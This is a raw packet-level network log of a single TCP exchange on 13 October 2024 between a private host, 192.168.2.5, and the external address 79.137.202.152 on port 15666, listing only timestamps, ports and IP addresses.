Oct 13, 2024 01:40:45.013427019 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013448000 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013456106 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013489008 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013509035 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013515949 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013537884 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013559103 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013585091 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013605118 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013632059 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013659000 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013672113 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013684034 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013688087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013725996 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013737917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013767004 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013787031 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013793945 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013818026 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013822079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013840914 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013850927 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013870955 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013880968 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013897896 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013910055 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013935089 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013936996 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013964891 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013967037 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013979912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013992071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014015913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014020920 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014048100 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014050007 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014060974 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014075994 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014103889 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014156103 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014184952 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014188051 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014218092 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014230967 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014245033 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014266968 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014273882 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014302015 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014302969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014321089 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014358044 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014358997 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014388084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014406919 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014415979 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014436007 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014442921 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014470100 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014473915 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014506102 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014511108 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014533997 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014556885 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014561892 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014589071 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014589071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014599085 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014616966 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014642954 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014664888 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014678001 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014705896 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014731884 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014733076 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014760971 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014769077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014790058 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014800072 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014818907 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014846087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014851093 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014861107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014873981 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014894009 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014902115 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014924049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014931917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014959097 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.014961004 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014974117 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.014986038 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015001059 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015014887 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015028954 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015044928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015063047 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015075922 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015091896 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015130997 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015136003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015163898 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015183926 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015192032 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015221119 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015225887 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015249014 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015275955 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015280008 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015290022 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015305042 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015316963 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015332937 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015353918 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015361071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015396118 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015404940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015405893 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015435934 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015463114 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015466928 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015475988 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015491009 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015506029 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015520096 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015537977 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015547037 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.015566111 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.015593052 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.016108036 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.016170025 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.020658970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.020709038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.020842075 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.020853996 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.020884991 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.020895958 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.020911932 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.020924091 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.020956039 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.020966053 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.020968914 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.020982027 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021009922 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021011114 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021022081 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021023989 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021060944 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021084070 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021127939 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021214962 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021226883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021264076 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021332979 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021378040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021401882 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021414042 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021445990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021462917 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021508932 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021521091 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021533012 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021555901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021586895 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021661043 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021673918 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021686077 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021697998 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021701097 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021711111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021723032 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021728039 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021728992 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021745920 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021758080 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021769047 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021780968 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021787882 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021789074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021805048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021816969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021828890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021830082 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021842957 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021842957 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021856070 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.021877050 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.021894932 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022044897 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022058010 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022078991 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022089958 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022092104 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022099972 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022125006 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022140980 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022175074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022186995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022200108 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022229910 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022231102 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022262096 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022274971 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022293091 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022305965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022317886 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022330999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022344112 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022346020 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022357941 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022377014 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022388935 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022392988 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022402048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022412062 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022425890 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022430897 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022439003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022442102 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022448063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.022476912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.022490025 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.059848070 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.062531948 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.062728882 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.062797070 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.067650080 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.067679882 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.067729950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.067733049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.067759037 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.067775965 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.067811012 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.067828894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.067857027 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.067893028 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.067924976 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068006992 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068037987 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068057060 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068085909 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068085909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068114996 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068140984 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068167925 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068170071 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068207979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068218946 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068248034 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068273067 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068274975 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068293095 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068303108 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068325043 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068350077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068362951 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068389893 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068412066 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068439960 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068449974 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068469048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068495989 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068510056 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068526030 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068535089 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068557024 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068573952 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068618059 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068624973 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068669081 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068696022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068722010 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068742037 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068752050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068768024 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068803072 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068809032 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068830967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068856955 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068860054 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068880081 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068887949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068908930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068917990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068931103 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068945885 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.068972111 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068989992 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.068994999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.069022894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.069041967 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.069050074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.069077969 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.069102049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.069138050 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.111944914 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.112245083 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.112368107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.112413883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.142664909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.143011093 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.143239975 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.143299103 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148204088 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148233891 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148277044 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148291111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148319006 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148345947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148346901 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148366928 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148375034 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148392916 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148403883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148431063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148435116 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148458958 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148483038 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148488998 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148511887 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148540020 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148541927 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148566961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148571014 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148597956 CEST	49962	15666	192.168.2.5	79.137.202.152
